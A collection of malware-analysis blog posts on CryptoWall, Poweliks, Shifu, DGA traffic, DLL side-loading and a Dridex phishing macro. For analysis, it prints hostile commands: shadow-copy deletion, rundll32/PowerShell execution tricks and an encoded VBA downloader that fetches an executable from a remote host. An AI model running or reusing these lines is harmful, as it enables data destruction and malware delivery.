On-Site Procurement

One of my favorite movie trilogies is the Bourne Trilogy. The Bourne Identity, The Bourne Supremacy and The Bourne Ultimatum (I don’t count the fourth movie as I find it vastly inferior). It’s an action series about Jason Bourne, a former military weapon who has lost his memory and is attempting to find out who he is.

In each of the three movies, the protagonist has to fight sleeper agents with his bare hands and anything he can find. Typically you would see someone use a gun or a knife in an action movie and while these are used in many parts, Jason also uses tools that might not be so deadly in the hands of the average person. Tools such as a pen, a magazine and a book which are normally harmless are wielded by Bourne to handily defeat his opponents.

He uses seemingly non-threatening devices to wreak havoc…

Well malicious software can do the exact same thing. We typically focus on the built-in capabilities of malware but oftentimes we overlook its capability to leverage benign tools on a targeted host to assist in the compromise. There are many examples of this activity in the wild but I would like to focus on a couple pieces of malware which are fully utilizing benign system utilities to assist in compromise and prevent remediation.

Cryptowall

CryptoWall is common variant of ransomware that I have observed being distributed over the past year or so. For those that don’t know, it is a type of malware that encrypts files on the infected file system and leaves a “ransom note” with instructions on how to decrypt the files for a fee. This can really put a user or company in a tough spot since the files on the local system and any mapped drives will become unusable. Once the files have been encrypted you are left with very few options. Restoring from backup or paying the ransom are the only options available once this happens. That latter option is not advisable because there is no guarantee you will receive the required decryption keys.

The best chance of recovery for most people and organizations would be to use file backups, if they exist. The authors of CryptoWall realize this but cannot prevent someone from utilizing off-host backup solutions so they go for the next best thing.

Volume Shadow Copy is a Windows utility that allows users to revert files to a previous state. This has many useful applications such as reverting a saved file that has been erroneously edited and recovering files which have been deleted. The functionality would also give a user the ability to return to a previous copy of the encrypted files.

The authors of CryptoWall put a stop to this by utilizing the same Volume Shadow Copy utility to remove prior versions of the file. The following command is executed as a result of CryptoWall executing on the compromised host:

vssadmin.exe Delete Shadows /All /Quiet

This is done by injecting the Windows Explorer process and executing the vssadmin process.

This step is critically important if CryptoWall is to be an effective extortion tool. One would reason that this technique would be more effective against the average user in a non-corporate environment as they are less likely to utilize a backup solution. While a user in a corporate environment is more likely to have access to backups, my personal experience has shown that many do not. This obviously pays dividends for those who utilize CryptoWall for the purposes of extortion.

Poweliks

Poweliks is another interesting example of malware using benign software for illegitimate purposes. Its claim to fame is that it attempts to avoid detection by hiding a payload in the host’s Registry. It is not uncommon for malware to interact with the compromised host’s Registry but hiding code there is a creative way of executing a malicious payload. Two objectives are achieved by doing this:

• Persistence
• Detection Avoidance

Persistence is achieved when the code is stored as a value at the HKCU\software\microsoft\windows\currentversion\run key location.

Placing the code in this location will cause it to be executed during log in. This is the persistence part I previously mentioned. Let us take a look at how the code is placed there in the first place.

As we can see, Poweliks.exe executes and launches a number of child processes, most notably being the benign rundll32.exe. Rundll32.exe is typically utilized to directly run a DLL file since they cannot be launched directly. Considering what we know about this process it is very odd to see the following command line activity:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("<script language=jscript.encode>"+(new ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\windows\\currentversion\\run\\")+"<script>")

It appears that the benign process is not only being utilized to assist in the compromise but also in an unconventional fashion. Instead of launching a DLL, rundll32 is being utilized to execute Javascript code. A Google search for this type of usage revealed a great explanation. Rundll32 effectively allows the malware to place the above code within the Registry.

We also see Poweliks taking advantage of the popular Windows utility PowerShell. In fact, if the targeted host is lacking a PowerShell installation, Poweliks attempts to download and install it. Evidence of this is provided in the previous screenshot which shows Poweliks spawning the windowsxp-kb968930-x86-eng.exe child process. Microsoft .NET Framework (netfx20sp1_x86.exe) is also installed for the purposes of PowerShell functionality. The amount of effort exerted to install PowerShell indicates it is a necessity for the malware to effectively run so let’s see how it is utilized.

The following command is observed being executed by the PowerShell process:

powershell.exe iex $env:a

The malware is using PowerShell to invoke an expression but unfortunately we are unable to see the entirety due to the code value being hidden in the variable “a”. Although we are unable to explore what is being executed, it should now be clear that malware and threat actors have no shortage or resources available once a host has been penetrated.

Conclusion

Just like Bourne can use a book to pummel his opposition, malware can utilize seemingly harmless operating system utilities to wreak havoc on the targeted. In the case of software such as CryptoWall, a security administrator’s best defense is to deploy an IDS/IPS with relevant signatures that can prevent the initial phone home request. This will prevent encryption from taking place. The best remediation is to keep backups in a separate location so that they can be used to recover encrypted files.

What about malware such as Poweliks? There are few avenues of prevention when it comes to mitigating methods such as this. Luckily Poweliks is adware and the consequences are not as dire but more and more malware authors are attempting to employ this technique. It will likely cause issues for end users and security administrators alike in the future.

Shifu - Advanced Malware

The Shifu Trojan is a recently discovered malware involved in a number targeted attacks involving the Japanese banking sector. What makes this malware interesting is the techniques employed which are typically attributed to other malware families such as Dridex, Zeus, Conficker as well as some others. The utilization of techniques such as Virtual Machine detection and DGA attributed to other malware make the malware a truly advanced threat. In this post, I will explore and attempt to analyze the malware to gain an understanding of how it operates.

Preliminary Analysis

The sample has an md5 hash of b9bc3f1b2aace824482c10ffa422f78b and an embedded timestamp of 'Thu Aug 06 04:56:58 2015'. One of the first artifacts that jumps out during static analysis is a full file path:

c:\oil\feet\Seven\Send\Gather\Dividerail.pdb

The file extension indicates the artifact is a result of the compilation process for the binary. While this may not have any relevance to the behavior of the malware, it could serve as an indicator for detection via a mechanism such as Yara.

Further analysis of the binary produces a few clues in regards to what I can expect during execution.
The following functions appear to be revealing as to the capabilities of the binary:

• GetActiveValue
• IsDebuggerPresent
• Sleep
• WriteFile
• GetStartupInfo

The presence of the above libraries indicate that the malware will likely have the ability to write files to the host but this isn't too surprising when it comes to malicious software. The more interesting functions are 'IsDebuggerPresent', 'Sleep' and 'GetStartupInfo'. To me this indicates that I should expect this malware to attempt to prevent analysis attempts under certain conditions since sleep has the potential to stall execution and IsDebuggerPresent is commonly, although not always, utilized to prevent debugging attempts.

At this point it seems that more information will be derived by simply executing the binary.

Virtual Machine Analysis

Analysis Attempt One
The first attempt at analysis of this file proves to be unsuccessful when ran in a VMWare Windows XP host as seen in this following SysInternals ProcMon output:

Time of Day Process Name    Operation   Path    Result
40:11.9    shifu.exe    QueryOpen    C:\sample\pos.exe    PATH NOT FOUND
40:11.9    shifu.exe    Process Exit        SUCCESS
40:11.9    shifu.exe    Thread Exit        SUCCESS
40:11.9    shifu.exe    CloseFile    C:\Documents and Settings\John\Desktop    SUCCESS  

It is worth noting that a number of queries for local files are attempted throughout the time in which the process runs. All of these queries result in the malware being unable to detect the files being queried. The last of these queries is for full path C:\sample\pos.exe which does not exist on the virtual machine. Directly afterwards, the process exits and closes the the original binary from which it originated. It is unclear why this file is once of such importance but it may be related to Virtual Machine or sandbox installations.

Analysis Attempt Two
The decision is made to remove VMWare Tools from the virtual machine. It could be possible that this and not the lack of pos.exe have caused the previous failure. Hopefully the removal of this component will increase the chance of execution success. Running the malware on a host without VMWare tools however, does not have any effect on the result of the execution. Even though it has been removed, the process still exits after it is unable to find the c:\sample\pos.exe file.

Time of Day Process Name    Operation   Path    Result
28:05.0 shifu.exe   1152    QueryOpen   C:\sample\pos.exe   PATH NOT FOUND
28:05.0 shifu.exe   1152    Thread Exit     SUCCESS
28:05.0 shifu.exe   1152    Process Exit        SUCCESS
28:05.0 shifu.exe   1152    CloseFile   C:\Documents and Settings\John\My Documents\Downloads   SUCCESS

Analysis Attempt Three
This time the decision is made to place a file named pos.exe in the c:\sample\ directory in the hopes that the malware will behave differently. While the associated process does find the file, it still behaves in the same fashion as the previous analysis attempts. This is not unexpected since the presence of this file likely should cause the termination of the shifu.exe process.

Time of Day Process Name    Operation   Path    Result
32:37.9 shifu.exe   QueryOpen   C:\sample\pos.exe   SUCCESS
32:37.9 shifu.exe   Thread Exit     SUCCESS
32:37.9 shifu.exe   Process Exit        SUCCESS
32:37.9 shifu.exe   CloseFile   C:\Documents and Settings\John\Desktop  SUCCESS

Obviously the use of a virtual machine for analysis is ineffective without some type of additional modifications. Instead of continuing to analyze the malware within a standalone virtual machine, I will attempt to see if any progress can be made with a sandbox/emulator instead.

Sandbox Analysis

Executing Shifu in a sandboxed environment finally allows the process to run successfully. Upon execution the malware writes the following files to disk:

c:\Documents and Settings\All Users\Application Data\dbd2hff6h8.exe     
(793bb01102349f366b37da58ddca26ee)  
c:\Documents and Settings\<user>\Local Settings\temp\safari.exe         
(953754424360b90e7dcedd74e448c44d)  
c:\DOCUME~1\<user>\LOCALS~1\Temp\nss3.dll       
(7c87033533235868eccc54c392fa147c)
c:\Documents and Settings\<user>\Local Settings\Temporary Internet Files\BMKNKJ8O\shifu.exe  

The last file is executed after it has been written to the Internet Explorer cache folder. This could be a persistence mechanism but is likely an attempt to hide the file from a user who might stumble across the original shifu.exe file. Additionally the following file is written to disk:

C:\Documents and Settings<user>\Application Data\dli644A.tmp.bat 

The malware appears to perform some other interesting activity which are reminiscent of the previous analysis attempts. Shifu appears to be scanning the host for certain files and directories, all of which are not found. These appear to be more inline with virtual machine detection attempts and even include the c:\sample\pos.exe file that were observed during the virtual machine attempts.

c:\analysis   
c:\analysis\sandboxstarter.exe  
c:\Documents and Settings\All Users\Application Data\dbd2hff6h8.exe    
c:\windows\system32\drivers\vboxmouse.sys    
c:\windows\system32\drivers\vmhgfs.sys    
c:\windows\system32\drivers\vmmouse.sys    
c:\insidetm    
c:\sample\pos.exe  

Another interesting aspect of the Shifu execution is the interaction with the Windows process Explorer.exe, which is a commonly targeted process for injection by malicious software. The interactions with Explorer.exe include the suspension, reading, writing and resuming of the Explorer process. These are typical actions taken when attempting to inject malicious code in to a process. Once injection has successfully occurred the following files are written to the user's 'Application Data' under a subdirectory:

c:\Documents and Settings\<user>\Application Data\7a62af1e\keylog.txt
c:\Documents and Settings\<user>\Application Data\7a62af1e\sysinfo.txt  
c:\Documents and Settings\<user>\Application Data\7a62af1e\cmdline.txt  
c:\Documents and Settings\<user>\Application Data\7a62af1e\1_cert.pfx  
c:\Documents and Settings\<user>\Application Data\7a62af1e\1_info.txt  

Another interesting action is observed which appears to be related to Bitcoin:

c:\Documents and Settings\<user>bitcoin\wallet.dat 

The final noteworthy action that I notice is an attempt to hide the shifu.exe file which was originally written to the Internet Explorer cache directory. This is done using the Windows executable 'attrib.exe':

c:\WINDOWS\system32\attrib.exe attrib -r -s -h "C:\Documents and Settings\<user>\Local Settings\Temporary Internet Files\BMKNKJ8O\shifu.exe"  

Network Analysis
Analyzing the network traffic appears to be a bit more difficult. At first glance it appears that the C2 domain has either been taken down or is being blocked. A DNS request is made for an A record belonging to 'eboduftazce-ru.com' which returns a number of malicious results on VirusTotal.

eboduftazce-ru.com
In order to be thorough, a bit of recon is performed on the host.

eboduftazce-ru.com. 5 IN SOA dns.bizcn.com. dnsconct.bizcn.com. (
            1443758308 ; serial
            28800      ; refresh (8 hours)
            14400      ; retry (4 hours)
            14400      ; expire (4 hours)
            600        ; minimum (10 minutes)
            )
eboduftazce-ru.com. 5 IN NS ns3.cnmsn.com.
eboduftazce-ru.com. 5 IN NS ns4.cnmsn.com.
eboduftazce-ru.com. 5 IN A  188.42.254.65

The lack of valid DNS response records could indicate the domain is no longer available. This could be a result of a number of factors such as fast flux domain changing or dynamically generated domain names being utilized. At first glance the network traffic does not indicate this is the case considering DGA malware typically generates a great deal of DNS traffic. Even after running the binary a second time the same traffic is observed.

Conclusion

The advanced techniques employed by Shifu makes this malware a bit tough to analyze but not impossible. The primary roadblock is the VM detection mechanism which prevented manual dynamic analysis. As a result, sandboxing technologies are employed with great success. While this technique makes analysis difficult, it limits the ability to compromise thin app clients, other virtualized workstations and virtualized servers. This is not a huge loss since there are few client computers which are virtualized but is worth noting.

References

Virus Total
Dark Reading: New Shifu Banking Trojan An ‘Uber Patchwork’ Of Malware Tools
Security Weekly: "Shifu" Trojan Targets Japanese Banks

A Closer Look at DGA Traffic

Our last post explored a technique used by malware authors to subvert Command and Control server discovery. CryptoLocker was one such malware known to employ a Domain Generation Algorithm in order to communicate with its C² servers. In this post we will dive deeper in to what network traffic generated by this particular malware looks like. These characteristics are useful when it comes to identifying whether a particular malware is employing a DGA and determining the actual addresses of C² servers.

In previous posts, I have utilized open source technologies to provide an environment for dynamic analysis of malware. While this provided an excellent alternative to a homemade lab, I was limited in the type of information and artifacts I could obtain. The artifacts produced are typically a network PCAP and a list of modifications made on the machine. Using virtual machines allows a bit more flexibility and additional artifacts such as memory dumps and paging files to be extracted. While this post will not focus on the analysis of these additional artifacts, the choice was made to utilize a VM-based lab to run the malware in favor of the additional information available.

Network Traffic Analysis

An analysis of the traffic using tcpdump shows an accounting of the DNS requests that are made and as would be expected there are many DNS requests from the infected host 192.168.5.71.

A packet capture was run for approximately seven minutes and could have gone longer due to the fact that CryptoLocker servers have been taken down for quite some time. If the servers were still active, the malware would quit attempting to make phone home requests once it found a valid domain. The NX records returned for the non-existent domains are indicators of DGA-based utilization by the infected host.

During the period in which the packet capture is run, 176 NX records are returned. Any system administrator or analyst seeing this many NX requests should be able to determine that the host making the request is likely infected. We should really be concerned with the requests that return valid records, as these will allow us to determine the true C² servers.

A number of valid A records are returned for IP address 212.71.250.4. Some research on the IP address yields the following information.

It should come as no surprise that this IP address is registered to a datacenter as this is a common tactic of malicious parties. Examination of the ensuing HTTP traffic leads us to believe that our IP address has been sinkholed. Sinkholing is a technique that is used to put a stop to active malware campaigns.  This is to be expected considering the C² servers were taken down quite some time ago.

The Sinkholing of this domain essentially allowed researchers and law enforcement to put a stop to the ongoing malware campaign which was used as a means to extort money from individuals and businesses with infected machines. If not for the ability to analyze both the DGA traffic and algorithm, this would not have been possible.

Performing a profile of this traffic using Scapy gives us a breakdown of the type of traffic that has been observed.

The majority of the traffic consisted of port 53/udp (DNS) traffic. This accounted for 417 total packets during this time period, 176 of which resulted in NX records being returned. There were 241 domains which returned valid A records but only 184 requests were made to the malicious IP. The only other valid external IP address that was used for communications is 123.170.185.211, which is owned by Microsoft and used for NTP time server purposes.

A listing of the NX Domains can be found here while the valid domains can be viewed here. Armed with this knowledge, we have a great starting point for creating countermeasures that will be helpful in preventing further damage. It also gives us a template for recognition of this sort of infection on the network.

Malware Technique: DGA

Persistence is key to an adversary's attempts to compromise a target. It is very important to establish a foothold so that continued access to a resource can be used to further exploit the target or exfiltrate data. This typically takes the form of a backdoor or a process starting on the host when it comes to malware. This is important when it comes to host-based persistence but what about server-based persistence? Malware campaigns rely on persistent command and control(C²) infrastructure in order to remain operational. If a C² infrastructure is taken down, the malware operators no longer has a way to control the infected hosts and receive exfiltrated information.

In order to achieve persistence, certain techniques must be used to make it more difficult to stop these campaigns. One way to assist in these techniques is to use a Domain Generation Algorithm(DGA) as in the malware that is deployed in the field. DGA is used by malware to generate domain names that are mapped to C² IP addresses instead of hard-coding them directly in the binary.

This has a couple advantages over other methods such as hard-coding. A hard-coded list such as this would be easily detectable by static analysis techniques. This would make it much easier to track and take down the servers involved in these communications. One example that exhibits this characteristic is the malware used to compromise Sony Entertainment (md5: 2618dd3e5c59ca851f03df12c0cab3b8).

The IP addresses in this binary allow the C² servers to be easily identified. This would allow the malicious servers to more easily be taken down or sinkholed by law enforcement or researchers. Doing so would put a halt to the plans of the malware creator(s). As a result, many strains of malware have moved towards using DGA to mitigate these possibilities.

These algorithms give malware the ability to generate many domain names of which very few are registered to an IP address. The domain names generally are determined by the date and time, also known as a seed, so that all hosts can generate the same domain names in a synchronized fashion. Since the malware author knows the algorithm used to produce these domains, they are able to register the domain names prior to the malware making phone home requests. This allows the hosts to receive configuration files and instructions from the C² server. The hosts can also exfiltrate information to the server. The domain can then quickly be de-registered to avoid C² server detection. As a result, those attempting to discover the IP addresses of the servers are usually unsuccessful unless technology such as passive DNS is utilized for investigation.

An example that can be referenced for illustrative purposes is CryptoLocker. CryptoLocker is a type of ransomware that encrypts certain file types on the infected system and presents the user with a screen requiring payment for decryption. While the malware has been succeeded by new variants such as CryptoWall, it is a relevant example for DGA-based malware. Dynamic analysis of CryptoLocker shows a large number of domain names being requested but a single host IP address being contacted.

Courtesy of Malwr.com

The above figure presents only a truncated list of domains. It is very likely that only a few of the listed domain names would have resolved to the host IP address listed at the time the analysis was performed. Presently, no IP addresses are being resolved because CryptoLocker servers have been taken down.

The main disadvantage to dealing with this type of malware from a network administrator's point of view is that domain blacklisting will be ineffective. The domain names will be not be predictable without reverse engineering the algorithm. Even doing so will not prevent future infections if the algorithm is modified. IP addresses for the C² servers may also change so IP blacklisting isn't an effective countermeasure either.

Clearly, using a technique such as DGA is an effective way to prevent C² takedowns as well as prevent network countermeasures that have been deployed. While IPS and domain whitelisting can be utilized to minimize the damage done by DGA-based malware, they are not always the most practical or effective tactics. Many malware strains have begun to employ this technique as a direct result of these 'benefits' previously mentioned. Other notable malware utilizing DGA include Conficker, Zeus and Pushdo but there are plenty of others.

Malware Technique: DLL Side Loading

Malware authors often rely on vulnerabilities as a stepping stone to infect or compromise the hosts they target. Within the scope of malware, they typically rely on vulnerabilities in software such as Adobe Flash, Java or a number of add-on applications which are used in web browsers. It is easier to exploit an add-on that may not have been updated in many days, months or even years in order to exploit the host in some way. This is a case of picking the lowest hanging fruit. Add-on software and plugins are constantly being updated or patched as a result of vulnerabilities being discovered and exploited.

Many times the functionality of the operating system itself can be used to the malware author's advantage as well. One such functionality within Windows Operating Systems is the side-by-side (WinSXS) feature. WinSXS is a directory on modern Windows Operating Systems, first introduced in Windows 98 SE, that can contain multiple DLL and file versions. It was introduced as a way to reduce dependency issues as well as problems with duplicate DLL files. If, for example, a new software is installed that uses an updated version of a DLL that currently exists on the host, the new version will be added and the old will remain. This reduces conflicts such as deleting the old version that may still be in use by another software component. This feature is a necessity in regards to the operation of the host but malware authors can also utilize it to hijack the flow of an application to ensure that their malicious code is executed.

This technique has gained popularity in APT(Advanced Persistent Threat) malware campaigns. It works in a similar fashion as DLL hijacking. The main difference that exist between DLL highjacking and DLL side loading is that DLL highjacking takes advantage of the load order of legitimate DLLs by placing a spoofed version in a higher load position than the real DLL. This type of vulnerability is documented in various CVEs such as 2014-8398 and 2012-1849.

DLL side loading, however, makes use of the WinSxS directory (C:\Windows\WinSxS). This directory holds multiple versions of DLL files and as stated earlier, resolves many issues that previous incarnations of Windows encountered. An application using this directory to retrieve a DLL will need to have a manifest. The manifest lists the DLL file that the program needs to load at runtime execution and is used by the DLL loader to determine which version should be used. 

Courtesy of Microsoft.com

Additional information about Windows side-by-side can be found here.

A malicious DLL with a spoofed name could be placed in this location due to the lack of verifications that are performed on files in this folder. As a result, a vulnerability similar to the one that allows DLL hijacking exists in the side-by-side feature.

Once an application on the host requests access of the legitimate DLL, the spoofed library is loaded. As I mentioned earlier, this has been observed in APT malware like PlugX. FireEye documented one such APT attack that utilized the DLL Side Loading vulnerability. A phishing email was sent to users that contained an Excel spreadsheet that dropped and executed a file. Once run, the executable created a DLL component on the host which was used by a benign Microsoft Office 2003 Service Pack executable file to load an ISO file. None of these components were considered malicious by antivirus vendors at the time this occurred allowing them to avoid detection. Had the DLL components function imports been verified the attack, it would not likely have succeeded.

The spoofed DLL component contained a modified function that allowed the innocuous service pack executable to load a third component file on to the host system.

The components were combined in the memory space of the benign service pack to create a malicious DLL. The malicious activity started and the system was compromised. This was made possible by taking advantage of the side loading functionality of the operating system. It is still notable that a number of other factors also contributed to the compromise as well such as a benign file being used to start the process of this compromise. This still serves as a great example of how using spoofed DLLs and the side-by-side loading capability can be dangerous for end users and corporate entities.

This particular vulnerability is more likely to be used in APT campaigns, which are highly targeted for specific companies or markets, it is highly unlikely that a typical user would encounter malware utilizing this specific technique. To this point there have been no indications that this will remain the case as time progresses. Regardless, this still serves as a great example of how using spoofed DLLs and the side-by-side loading capability can be dangerous for end users and corporate entities.

Amazon Order Confirmation Phishing Campaign - Part III

In our previous post, we analyzed a malicious word document and it's associated macro. Our analysis revealed that this macro is used to retrieve a malicious executable file, 1.exe, which is then executed on the target system. Running Strings on the executable yielded information about the DLL libraries that were imported for use in this file. These libraries are associated with network communication which is very dangerous when it comes to any malware as it can be used for data exfiltration and retrieving additional resources from remote servers. Today we will examine this a bit further to see if we can retrieve any additional information.

1.exe Revisited

We discovered that many of the libraries imported were related to network communications. MPR.dll, WS2_32.dll and RTM.dll are all noteworthy when it comes to this functionality so the next step would be to see how these functions are used in the decompiled executable. Hopefully we can obtain some clues about the destination IP addresses that are being reached out to. We decided to use Hopper disassembler to decompile this executable.

Examination of the graph and code appears to indicate that this malware attempts to maintain a persistent process on the host system. This is done by checking to see if the malware's own process is running. If it doesn't, a new process is created for the malware. It also checks to see if the process is active or idle. The following is a small snippet of the decompiled code that demonstrates the idle process check.

This appears to be a common trait amongst most malware. Malicious software is not effective unless it continues to run on the system so we need to look at some other portions of the assembly code to get a better idea of how this malware will communicate with remote hosts.

Network communications appear to occur at memory location 0x00406230. At this location we begin to see interesting function calls such as 'getprotobyname', 'WSAGetServiceClassNameByClassIdW' and 'getservebyport'. One issue that we notice is there are no network indications such as an IP address or hostname. This limits our ability to see which destinations will be contacted by the malware. Our strings analysis led us to believe this would be the case but it is further confirmed as we look at the disassembled code.

So it appears that additional analysis will be needed to see exactly how this executable will interact with the system and network once it is executed. To do this we will need to perform some dynamic analysis on the executable. While we could normally run the executable in a secure lab environment, there are also open source tools that allow us to submit executables to be run in sandbox environment. We will opt to use a tool such as this since the infrastructure is already in place and we will not have to worry about any mishaps.

Dynamic Analysis

Malwr was chosen to perform the analysis for this piece of malware. It utilizes the Cuckoo Sandbox technology to perform dynamic analysis for files that have been submitted. Using this online services allows malware analysts to share results as well as check the analysis of other files as well. This is contingent upon having the hash value for that file we are looking to analyze and another analyst previously submitting the file. Let's take a look at the analysis that is provided to us for our own file which has been renamed to garfield67-1.exe.

Local Indicators

One particular area of interest when it comes to analyzing the consequences of running malware on a host would be any local changes made to the infected system. These files can be important for the purposes forensic investigation. Additional malware could also be downloaded to and executed on the host.

Edg1.tmp (md5:d41d8cd98f00b204e9800998ecf8427e), 2.tmp (md5:b396cb453ecc5d2949f6cb73c263e563) and GARFIE~1.exe (md5:954858bc0f115a4d6442afb333ec44c2) are particularly interesting. The first file would appear to be empty and returns no detections when submitted to Virus Total. The final two files have high detection rates. The GARFIE~1.exe is actually a copied version of the original malware executable.

Virus Total's vendor antivirus engines have commonly shown the name 'Dridex'. Dridex is a known Trojan that is classified as a "Banking Trojan" and has been linked to malicious macro use. Sound familiar?

Moving along, we also observed a good amount of registry changes including a modification to the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. This will cause the malware to run each time a user logs in. This is quite common when it comes to malware as it needs to run after a user has logged off or shut down their system. Now that we have discovered some of local changes on a system, we know what indicators to look for in future incidents.

Network Indicators

In order to understand what type of network connections are being made we had to download the PCAP file from Malwr. One of the first things we noticed is an HTTP POST to destination host 84.40.9.34 over TCP port 8080. The posted information does not appear to be human-readable. It is possible that the data posted is encrypted but we have no real solid evidence to determine if this is the case.This HTTP POST results in a server response of 200 which is indicates a successful communication.

A quick WhoIs query for this IP address reveals that it is registered to a hosting company, Hostway Management, out of London. Hosting services are a common way to serve malware since it can allow a certain level of anonymity so this does not provide any further context in regards to the malware authors.

Next we see an HTTP GET request to host 198.57.157.49 which belongs to another hosting company out of Utah, USA. 

This request, however, is responded to with a 403 Forbidden message. This appears to be the only GET request within the entirety of the network traffic. All remaining activity looks very much like the initial POST request we observed, only this time it is to host 198.57.157.49. These requests, like the first, all appear to have possibly been encrypted and result in '200 OK' response codes.

Although we are unable to confirm, it would appear that this could be some form of data exfiltration as would be expected in information stealing malware. 

Conclusion

Analysis of the file clearly identifies the type of damage that mass phishing campaigns can cause, especially if they target certain industries.  Our initial Word attachment contained a malicious macro that lead to a quick downhill slide as it downloaded malware to the host. This infection vector may not be the most effective but it still works on many unsuspecting users by masquarading as a trusted company. 

We were able to obtain enough supporting indications that allow us to conclude that this malware is sending information from the host systems to a remote system. This could include any number of credentials or private information. Luckily, most antivirus vendors appear to have signatures in place for this activity and the network communications allow for IDS/IPS signatures to effectively detect and prevent outbound communications. The best prevention, however, would be to disallow the running of Macros for Microsoft documents.  

1.exe Malwr Analysis

Resources:
Trend Micro - Banking Trojan Dridex Uses Macros for Infection
My Online Security - Amazon Co UK Order Dispacthed


Part One
Part Two

Amazon Order Confirmation Phishing Campaign - Part II

In the last post I reviewed a phishing campaign that used spoofed Amazon.co.uk confirmation emails to bait recipients in to opening a Word doc attachment. This attachment contained a malicious macro that would download malware on to the host system. Now we are going to look a bit deeper by performing some static analysis on the document and the malware that is loaded on to the host system. Doing so will give us some insight in to nature of these files, besides simply being malicious, and what we can expect these files to do once they are executed.

Word Attachment

Let us take a take a look at the .doc file that is attached to the email. Upon opening the file, we notice that it is completely blank. We do receive a warning about enabling macros, however.

Since we only want to analyze this file, there is no need to enable the macros. We only want to view the macros in this file. I personally decided to use the Microsoft VBS editor that comes with Microsoft Office to analyze the code. The code can be found here at Pastebin and appears to have a lot of non-useful code segments such as conditional statements that will never execute. This is likely a type of obfuscation that the author decided to use in order to throw off those viewing the actual VBScript.

After wading through the obfuscation, we find what appears to be some relevant lines of code.

Function SICJGWUTEZO(ByVal IYDOISAYNTH As String, ByVal PAUINJYOMZI As String) As Boolean
    Dim JGNEZQPKOWX As Object, ZSIJJVHVMOQ As Long, LSCOYILUQNP As Long,     
APXADSKJDFK() As Byte
    Set JGNEZQPKOWX = CreateObject("MSXML2.XMLHTTP")
    JGNEZQPKOWX.Open "GET", IYDOISAYNTH, False
    JGNEZQPKOWX.SEND "send REQUEST"

The code snippets above appears to show an outbound HTTP GET request to a remote host. The only problem is that we don't know what the remote host is in this case. It appears that the variable 'IYDOISAYNTH' is the remote host here. This variable is a parameter that is defined for function 'SICJGWUTEZO'. The only other instance of this function being called occurs here:

    SICJGWUTEZO ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(103) & ChrW(97) & ChrW(114) & ChrW(102) & ChrW(105) & ChrW(101) & ChrW(108) & ChrW(100) & ChrW(54) & ChrW(55) & ChrW(46) & ChrW(100) & ChrW(101) & ChrW(47) & ChrW(49) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ("TEMP") & "\SUVCKSGZTGK.exe"

Decoding the ChrW values reveals http//garfield67.de/1.exe as the file that the HTTP GET request resource. That is very interesting but not all that surprising. Running the address through Virus Total produces a detection rate of 16/61.

We need to analyze this file if we want to determine how it will modify the host system. While the macro provides a great deal of information, it is essentially a way to infect the system.

1.exe

So I feel that I should start this section out by first stating that the executable is no longer available. At some point it was taken down, likely because this server was hosting malicious content and they don't tend to last all that long.

This first thing we are going to do is determine if this file is actually and executable. It is not uncommon for malicious files to have extensions that are different from their actual file type. This doesn't seem like a good case to do such a thing but let's do our due diligence anyway.

Everything here appears to indicate that this is indeed an executable file. The file command indicates this and as we would expect the 'MZ' value if found at the beginning of the hex dump. Using strings does not yield any useful information such as hard coded IP addresses or credentials. One piece of valuable information that we can extract from the strings of the executable would be the DLL libraries that are imported for use by the executable. This can be done using a tool like IDA Pro as well but for the purposes of brevity the strings output is as follows:

A little Googling reveals that the majority of these libraries are used for network-based communications. This would indicate that the malware has networking capabilities and will attempt to reach out to remote hosts.  More digging in to the binary is needed so that we can accurately identify how this malware will communicate. This will require that we use some more advanced analysis techniques and will be the subject of our next post.


Part One
Part Three